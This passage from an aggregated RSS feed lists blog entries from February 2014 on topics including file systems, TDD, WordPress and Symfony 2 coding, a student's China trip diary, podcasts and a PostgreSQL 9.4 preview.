isPermaLink="true">https://www.danstroot.com/posts/2014-02-07-a-soul-crushing-excercise</guid></item><item><title>Bill Nye vs Ken Ham: neither or both?</title><link>https://olshansky.info/posts/2014-02-06-bill-nye-vs-ken-ham-neither-or-both/</link><description>Reaching a dead end while trying to discover the origin of life</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 06 Feb 2014 15:40:27 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/posts/2014-02-06-bill-nye-vs-ken-ham-neither-or-both/</guid></item><item><title>Aspiration</title><link>https://zacs.site/blog/aspiration.html</link><description>&lt;p&gt;A few days ago my girlfriend told me about the &amp;#8220;lunk alarm&amp;#8221;, a gimmick Planet Fitness uses to make its facilities more attractive to those who rarely go to the gym. Marketed as a judgment-free workout zone, Planet Fitness sets this alarm off whenever a patron makes too much noise during their workout; upon repeat transgressions, the gym&amp;#8217;s managers will ask these people to leave in order to foster a less intimidating atmosphere&amp;#160;&amp;#8212;&amp;#160;or so the reasoning goes. When she explained this to me I managed to meter my incredulity, but only just so.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/aspiration.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 06 Feb 2014 10:58:50 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/aspiration.html</guid></item><item><title>Why is storing, tracking and managing billions of tiny files directly on a file system a nightmare?</title><link>https://boyter.org/2014/02/storing-tracking-managing-billions-tiny-files-file-system-nightmare/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;!-- raw HTML omitted --&gt;Its a real pain when you want to inspect the files, delete or copy them.&lt;!-- raw HTML omitted --&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;Try taking 300,000 files and copy them somewhere. Then copy 1 file which has the size of the 300,000 combined. The single file is MUCH faster (its also why we usually do a tar operation before copying stuff if its already compressed). Any database that&amp;rsquo;s not a toy will usually lay the 300,000 records out in a single file (depending on settings, sizes and filesystem limits).&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 06 Feb 2014 03:00:59 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/storing-tracking-managing-billions-tiny-files-file-system-nightmare/</guid></item><item><title>Algorithmic Ineptitude</title><link>https://zacs.site/blog/algorithmic-ineptitude.html</link><description>&lt;p&gt;When I sat down to write this yesterday afternoon, two of the top five articles on Hacker News were not actually articles at all: the first pointed to a Microsoft page extolling the virtues of their new CEO Satya Nadella, below which the fifth &amp;#8220;story&amp;#8221; linked to Firefox 27&amp;#8217;s release notes. In no universe would any person categorize either of these pages as something that &amp;#8220;gratifies one&amp;#8217;s intellectual curiosity.&amp;#8221; In fact, I would say we can look forward to watching the former appear &amp;#8220;on TV news&amp;#8221; ad nauseam in the coming days and, perhaps, weeks as well. Nevertheless, both climbed out of obscurity and to the front page of this popular site despite violating the &lt;a href="http://ycombinator.com/newsguidelines.html"&gt;Hacker News submission guidelines&lt;/a&gt; not because someone decided Satya needed more publicity, or that Mozilla releasing the twenty-seventh iteration of the new Internet Explorer was in any way noteworthy, but because an algorithm put them there.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/algorithmic-ineptitude.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 05 Feb 2014 12:06:05 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/algorithmic-ineptitude.html</guid></item><item><title>Counter-counter argument TDD</title><link>https://boyter.org/2014/02/counter-counter-argument-tdd/</link><description>&lt;p&gt;The following is taken from my response to a Hacker News comment. The comment follows (quoted) and my response below.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;I will start doing TDD when,&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;1. It is faster than developing without it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2. It doesn&amp;rsquo;t result in a ton of brittle tests that can&amp;rsquo;t survive an upgrade or massive change in the API that is already enough trouble to manage on the implementation-side- even though there may be no functional changes!&lt;/em&gt;&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 05 Feb 2014 03:00:25 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/counter-counter-argument-tdd/</guid></item><item><title>How To Make An Object Oriented WordPress Plugin</title><link>https://kernelcurry.com/blog/object-oriented-wordpress-plugin/</link><description>&lt;p&gt;You just learned how to create a simple WordPress plugin, and now you hear people talking about how WordPress is becoming more object-oriented. What does that mean? Lets take a step back and start with the basics.&lt;/p&gt;
&lt;p&gt;Most simple WordPress plugins are written using procedural programming. This means that your code excited from top to bottom; calling functions and setting variables along the way. A prime example of this is the default WordPress plugin: &lt;a href="https://github.com/WordPress/WordPress/blob/7ee6ad566d5b28bcbb105432f1dbf06751c1aeda/wp-content/plugins/hello.php"&gt;Hello Dolly&lt;/a&gt;. Lets take this simple plugin and restructure it to be object-oriented.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Wed, 05 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/object-oriented-wordpress-plugin/</guid></item><item><title>2014-02-05</title><link>https://ho.dges.online/pictures/2014-02-05/</link><description>&lt;p&gt;Taken in Brussels on a work trip.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Wed, 05 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-02-05/</guid></item><item><title>China Trip 3</title><link>https://boyter.org/china-trip-3/</link><description>&lt;p&gt;01/02/05 – 14/01/05&lt;/p&gt;
&lt;p&gt;Well I figured I may as well add an end of the story, I believe that anyone who reads this deserves and end to the story and hence I am writing this for you all. Anyways what to say….. Here is my description of New Years Eve for you all.&lt;/p&gt;
&lt;p&gt;IT WAS LIKE THE APOCALYPSE!!!!!!!!!!!!!!!!!!!!!!!!&lt;/p&gt;
&lt;p&gt;Gunpowder smoke everywhere (making it hard to see), fires burning in the street, fireworks launching in the sky, enough small bangs that it sounds like its raining VERY hard on a tin roof. Giant bangs that rattle your teeth every minute or so. Figures running around, fireworks that fell over launching crap at you, it was nuts!!!!!! The majority of the explosions ended at 2:00am.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 05 Feb 2014 00:12:04 GMT</pubDate><guid isPermaLink="true">https://boyter.org/china-trip-3/</guid></item><item><title>China Trip 2</title><link>https://boyter.org/china-trip-2/</link><description>&lt;p&gt;3/11/04 – 5/11/04&lt;/p&gt;
&lt;p&gt;Let me recap the conversation I had with Tiff on the 5th over the phone. “Hello?” “Tiff Sorry about waking you. Have a look out the window” “Ok if I have to… OH MY GOD!!! SNOW!!!! I NEED TO CALL MY MUM!”&lt;/p&gt;
&lt;p&gt;Yes that’s correct. On the 5th I awoke to a winter wonderland outside. Not much snow apparently but it was enough to get Tiff and I excited. We had a snowball fight in the trees outside her and Susan’s room before class which was good fun. I can’t believe how quickly the landscape changed either. Yesterday it was cold, but no snow or ice even, and today well, it’s everywhere!!!!!!! So much fun to run around in and stuff. Class was pretty boring, with characters being the relaxing deal it usually is. We did have an exam, my answer was “kan bu dong” = “read don’t understand”. I could do some of it, but I don’t know enough characters to be able to do it at all. Oh well doesn’t matter. Also I couldn’t take it anymore and I am going to get a room by myself. Should have it on Monday. I like Kirill, but I don’t like living with him. The rest of today should be good since we are all going to Shannon’s birthday dinner. Will report on that when I next update this site… The other days were good, Yesterday Daisy took Kirill Tiff and I to dinner. It was pretty good, and the waiters all asked to have their photos taken with us and so on. It was good fun. The day before that I decided that I really needed a room on my own. As I said I should get it on Monday, which is quite good. Although I would prefer it a little sooner. Doesn’t matter, it’s only a matter of a few days before I get decent nights sleep. Hurray!!!!! The reasons for why I wanted one are numerous, but basically I am not sleeping well with Kirill using my pc all night. The noise and the light get to me, and well I couldn’t take it anymore. I certainly tried having a roommate, but I don’t think that I am cut out for having someone that close to me…. Well not another guy anyway. BTW Mum if your reading this could you ring me at some point, or Email me or something because I would like to talk to you, I haven’t heard from you in a while.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 05 Feb 2014 00:11:49 GMT</pubDate><guid isPermaLink="true">https://boyter.org/china-trip-2/</guid></item><item><title>China Trip</title><link>https://boyter.org/china-trip/</link><description>&lt;p&gt;Everything below is from when I was in University and went on exchange to Heilongjiang University in Harbin China. Please excuse the spelling and whatever is below as I did write it quite a while ago. This content is taken from &lt;a href="http://silica.csu.edu.au/depot/dapeng/harbin/"&gt;http://silica.csu.edu.au/depot/dapeng/harbin/&lt;/a&gt; as I want to preserve a copy just in case it is lost. I will be making a copy of the photos available at some point as there is a lot of content in there I would also like to preserve.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 05 Feb 2014 00:11:19 GMT</pubDate><guid isPermaLink="true">https://boyter.org/china-trip/</guid></item><item><title>Dogemate Bugfix &amp;amp; Features Update</title><link>https://swiftfox.co/2014/02/dogemate-bugfix-features-update/</link><description>&lt;p&gt;It has only been a few days since Dogemate was released, but dogeapi.com has made a slight change to their API that broke the USD price checker. Yesterday I submitted version 1.1.0 for an expedited review so hopefully it will be available soon. The new version adds both currency conversion and two new Bitcoin exchange...  &lt;a class="excerpt-read-more" href="https://swiftfox.co/2014/02/dogemate-bugfix-features-update/" title="ReadDogemate Bugfix &amp;#038; Features Update"&gt;Read more &amp;#187;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://swiftfox.co/2014/02/dogemate-bugfix-features-update/"&gt;Dogemate Bugfix &amp; Features Update&lt;/a&gt; first appeared on &lt;a href="https://swiftfox.co"&gt;Swift Fox Software LLC&lt;/a&gt;.&lt;/p&gt;</description><author>Swift Fox Software LLC</author><pubDate>Tue, 04 Feb 2014 14:20:11 GMT</pubDate><guid isPermaLink="true">https://swiftfox.co/2014/02/dogemate-bugfix-features-update/</guid></item><item><title>Writing For The Web</title><link>http://crateofpenguins.com/blog/writing-for-the-web</link><description>&lt;p&gt;I completely agree with Sid here: the growth of the internet as a widely-accepted medium through which to publish one&amp;#8217;s thoughts and opinions as was once handled exclusively through corporate newspaporial publications with batteries of editors at their disposal has led to a net decline in literary quality over the last few years. The popularity of the link blog certainly did not help, perhaps it even compounded the already steady march, but to lay all the blame at John Gruber et al.&amp;#8217;s feet would be to erroneously attribute them with an inevitable decline facilitated by lowering a barrier to entry much higher in the internet&amp;#8217;s earlier years than it is today. So spend just a bit more time editing: your readers will appreciate it, you will take greater pride in your work, and you just might make Sid&amp;#8217;s day.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/writing-for-the-web"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 04 Feb 2014 13:31:05 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/writing-for-the-web</guid></item><item><title>The Podcasters</title><link>http://vintagezen.com/archive/podcasters/</link><description>&lt;p&gt;Back in January Linus Edwards started &amp;#8220;The Podcasters&amp;#8221;, a series of articles in which he interviews podcast producers from all walks of life around the world. Beginning with Ben Alexander of &lt;a href="http://www.fiatlux.fm"&gt;Fiat Lux&lt;/a&gt;, continuing with &lt;a href="http://themenubar.net"&gt;The Menu Bar&lt;/a&gt; and&amp;#160;&amp;#8212;&amp;#160;more recently&amp;#160;&amp;#8212;&amp;#160;&lt;a href="http://www.lifeandcodeandstuff.com"&gt;Life and Code and Stuff&amp;#8217;s&lt;/a&gt; Andrew Clark, Linus just posted the third installment wherein he spoke with Slovenian podcaster Anze Tomic about the shows he does on &lt;a href="http://apparatus.si"&gt;Apparatus&lt;/a&gt;. If you glossed over these interviews when Linus started posting them, I encourage you to given them a chance: &lt;a href="http://vintagezen.com/2014/1/19/the-podcasters-1"&gt;Ben&lt;/a&gt; and &lt;a href="http://vintagezen.com/2014/1/27/the-podcasters-2"&gt;Andrew&lt;/a&gt; both had very interesting and tenuously-related answers to Linus&amp;#8217;s last question, &amp;#8220;Would you like to change anything about your current podcasting setup?&amp;#8221;, and &lt;a href="http://vintagezen.com/zen/2014/2/3/the-podcasters-3"&gt;Anze&amp;#8217;s&lt;/a&gt; setup and his thoughts on equipment alone make the short interview worth reading.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/archive/podcasters/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 04 Feb 2014 13:04:17 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/archive/podcasters/</guid></item><item><title>February 04: 57 tabs</title><link>http://tabdump.com/blog/2014/2/4/february-04-57-tabs</link><description>&lt;p&gt;A few days ago Stefan Constantinescu of &lt;a href="http://tabdump.com/"&gt;Tab Dump&lt;/a&gt; wrote an article titled &lt;a href="http://tabdump.com/blog/2014/1/22/making-some-bets"&gt;&lt;em&gt;Making Some Bets&lt;/em&gt;&lt;/a&gt;, where he announced his decision to go fully independent and rely on his writing to support himself. The latest in &lt;a href="http://brettterpstra.com/2014/01/12/bretts-new-adventures-and-how-you-can-help/"&gt;a&lt;/a&gt; string &lt;a href="http://mattgemmell.com/making-changes/"&gt;of&lt;/a&gt; similar resolutions, his decision gained a bit of attention, through which I came across &lt;a href="http://tabdump.com/blog/2014/2/4/february-04-57-tabs"&gt;&lt;em&gt;February 04: 57 tabs&lt;/em&gt;&lt;/a&gt; earlier this morning. The broad range of topics he covers makes for very interesting reading and highlights great articles I would never have found otherwise, but I could get that from any old news reader. Rather, it is the unique format and accompanying succinct summarizations that I find so compelling about Stefan&amp;#8217;s new daily venture, and it doesn&amp;#8217;t hurt that he includes enough articles to keep me set for a day or two, at least, with each installment. I really like this new thing Stefan decided to do, and I think you will too. Definitely go check it out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tabdump.com/blog/2014/2/4/february-04-57-tabs"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 04 Feb 2014 11:05:34 GMT</pubDate><guid isPermaLink="true">http://tabdump.com/blog/2014/2/4/february-04-57-tabs</guid></item><item><title>Can anyone explain how this regex [ -~] matches ASCII characters?</title><link>https://boyter.org/2014/02/explain-regex-matches-ascii-characters/</link><description>&lt;p&gt;Since I am pulling most of my content from other sites such as Mahalo and Quora I thought I would pull back some of my more interesting HN comments.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://news.ycombinator.com/item?id=4774426"&gt;Can anyone explain how this regex [- ~] matches ASCII characters?&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It&amp;rsquo;s pretty simple. Assuming you know regex. Im going to assume you don&amp;rsquo;t since you are asking.&lt;/p&gt;
&lt;p&gt;The bracket expression [ ] defines single characters to match, however you can have more then 1 character inside which all will match.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 04 Feb 2014 02:07:02 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/explain-regex-matches-ascii-characters/</guid></item><item><title>Computer Programming as a Foreign Language</title><link>https://zacs.site/blog/kentucky-senate.html</link><description>&lt;p&gt;Just last week the Kentucky Senate passed a bill by which computer programming classes would count towards a student&amp;#8217;s foreign language requirement in high school. Although at first I wanted to see this as a boon for teenagers who would now have the ability to enter college or the workforce better technologically prepared, just as the bill&amp;#8217;s proponents and Jim Dalrymple, &lt;a href="http://www.loopinsight.com/2014/02/03/kentucky-senate-passes-bill-to-let-computer-programming-satisfy-foreign-language-requirement/"&gt;who originally linked to this piece&lt;/a&gt; do, I&amp;#8217;m not entirely sure this is a good thing after all.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/kentucky-senate.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Feb 2014 18:41:47 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/kentucky-senate.html</guid></item><item><title>Cubed Episode 17: What a Week in Tech!</title><link>http://cubed.fm/2014/01/cubed-episode-17-what-a-week-in-tech/</link><description>&lt;p&gt;Around minute 44:33 of Cube&amp;#8217;s latest episode, Ben Bajarin theorized that Google&amp;#8217;s motivation in selling Motorola to Lenovo while Samsung simultaneously agreed to scale back their customization of Android could have come about as a result of Samsung desiring access to a concrete feature road map which they could build to in the future. In my last article, &lt;a href="https://zacs.site/blog/retroactively-planning.html"&gt;&lt;em&gt;Retroactively Planning&lt;/em&gt;&lt;/a&gt;, I talked about how Samsung&amp;#8217;s backwards strategy in which rather than approaching future product creation with a long-held guiding philosophy they must now scramble to infer one from existing successful products is ultimately doomed to failure. Ben&amp;#8217;s theory fits nicely into this picture as a move Samsung could be taking in an attempt at having greater control over their destiny. However, without an underlying theory guiding the decisions they say yes and no to throughout the creation process, I stand by my original idea: I feel this newfound knowledge will change little with regards to Samsung&amp;#8217;s future.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://cubed.fm/2014/01/cubed-episode-17-what-a-week-in-tech/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Feb 2014 13:03:22 GMT</pubDate><guid isPermaLink="true">http://cubed.fm/2014/01/cubed-episode-17-what-a-week-in-tech/</guid></item><item><title>Retroactively planning</title><link>https://zacs.site/blog/retroactively-planning.html</link><description>&lt;p&gt;Upon reaching a goal you cannot look back on the journey in search of the process that led you to success; you will invariably romanticize the past, shedding mediocre choices in a complimentary light, discounting difficult challenges, and misremembering strokes of genius in situations where there was none. In short, this exercise will ultimately only ensure that you never replicate any form of that success again. Rather than flying by the seat of your pants and relying on a postmortem to delineate good steps from bad, a much better approach would advocate starting with a solid and detailed plan, a well thought-out course of action, for you cannot go from the other way around and reasonably hope to make even mediocre achievements.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/retroactively-planning.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Feb 2014 12:20:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/retroactively-planning.html</guid></item><item><title>REST APIs for Humans at FOSDEM</title><link>https://nicolaiarocci.com/rest-apis-humans-fosdem/</link><description>&lt;p&gt;Yesterday I gave a talk at FOSDEM 2014 in Brussels. The conference itself was amazing, with over 5000 attendees literally swarming and taking over the ULB Campus. I was stoked at how smoothly everything was going on despite the incredible number of simultaneous sessions and the number of attendees continuously flowing between buildings and conference rooms. Everybody involved, volunteers and attendees,  has been very welcoming, charming and helpful. In short, I had a blast.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 03 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/rest-apis-humans-fosdem/</guid></item><item><title>Why I Left the .NET Framework</title><link>https://nicolaiarocci.com/left-net-framework/</link><description>&lt;p&gt;I can’t say I left the .NET Framework altogether as our main app was developed with .NET and we still maintain it on daily basis. Whenever applicable however, all the recent stuff is being done outside the walled garden.&lt;/p&gt;
&lt;p&gt;The following Jonathan Oliver totally resonates with my experience.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The .NET Framework was good. Really good. Until it wasn’t. Why did I leave .NET? In short, it constrained our ability to choose (which is a huge deal for me) and turned our focus inward toward the perceived safety of the nest instead of the helping us experiencing all of the possibilities out there in the big, wide world.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 03 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/left-net-framework/</guid></item><item><title>Populate a Symfony 2 Form with the referring entity</title><link>http://jrgns.net/blog/2014/02/03/populate-form-with-referring-entity-symfony.html</link><description>&lt;p&gt;In any web project it often happens that you have an entity, say a Group, to which you want to add a linked entity, say a Student. So you’ll have a “Add a Student” link on the page displaying the Group. When your users click through, there’s probably a dropdown with the different groups, and your users expect the Group they’re coming from to be prepopulated.&lt;/p&gt;

&lt;p&gt;There’s various ways to do this, but I’d like to show you a simple, non intrusive one for Symfony 2. You don’t have to add any parameters to the link, it just works. In your &lt;code class="highlighter-rouge"&gt;Student&lt;/code&gt; Controller, the &lt;code class="highlighter-rouge"&gt;newAction&lt;/code&gt; method:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-php"&gt;&lt;table style="border-spacing: 0;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="gutter gl" style="text-align: right;"&gt;&lt;pre class="lineno"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24&lt;/pre&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;pre&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// src/My/Bundle/Controller/StudentController.php
&lt;/span&gt;    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;newAction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$entity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nv"&gt;$form&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;createForm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;StudentType&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nv"&gt;$entity&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Get the refering URL Path
&lt;/span&gt;        &lt;span class="nv"&gt;$ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"app_dev.php/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'referer'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;PHP_URL_PATH&lt;/span&gt; &lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="c1"&gt;// Get the matching route
&lt;/span&gt;        &lt;span class="nv"&gt;$route&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;container&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'router'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ref&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$route&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'_route'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$route&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'_route'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'group_show'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Find the referring group
&lt;/span&gt;            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'doctrine'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;getRepository&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'MyBundle:Group'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;findOneById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$route&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nv"&gt;$form&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'group'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$group&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'MyBundle:Student:new.html.twig'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s1"&gt;'entity'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$entity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'form'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$form&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;createView&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We basically try and match the referring URL to a route, and if found, retrieve that entity, and set it in the form. Simple!&lt;/p&gt;</description><author>Jurgens du Toit</author><pubDate>Mon, 03 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://jrgns.net/blog/2014/02/03/populate-form-with-referring-entity-symfony.html</guid></item><item><title>Examining Postgres 9.4 - A first look</title><link>/2014/02/02/Examining-PostgreSQL-9.4/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.com/dp/B008IGIKY6?tag=mypred-20"&gt;PostgreSQL&lt;/a&gt; is currently entering its final commit fest. While its still going, which means there could still be more great features to come, we can start to take a look at what you can expect from it now. This release seems to bring a lot of minor increments versus some bigger highlights of previous ones. At the same time there&amp;rsquo;s still a lot on the bubble that may or may not make it which could entirely change the shape of this one. For a peek back of some of the past ones:&lt;/p&gt;
&lt;h3 id="highlights-of-92"&gt;
&lt;div&gt;
Highlights of 9.2
&lt;/div&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/2013/01/10/more-on-postgres-performance/"&gt;pg_stat_statements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.postgresql.org/wiki/Index-only_scans"&gt;Index only scans&lt;/a&gt;&lt;/li&gt;
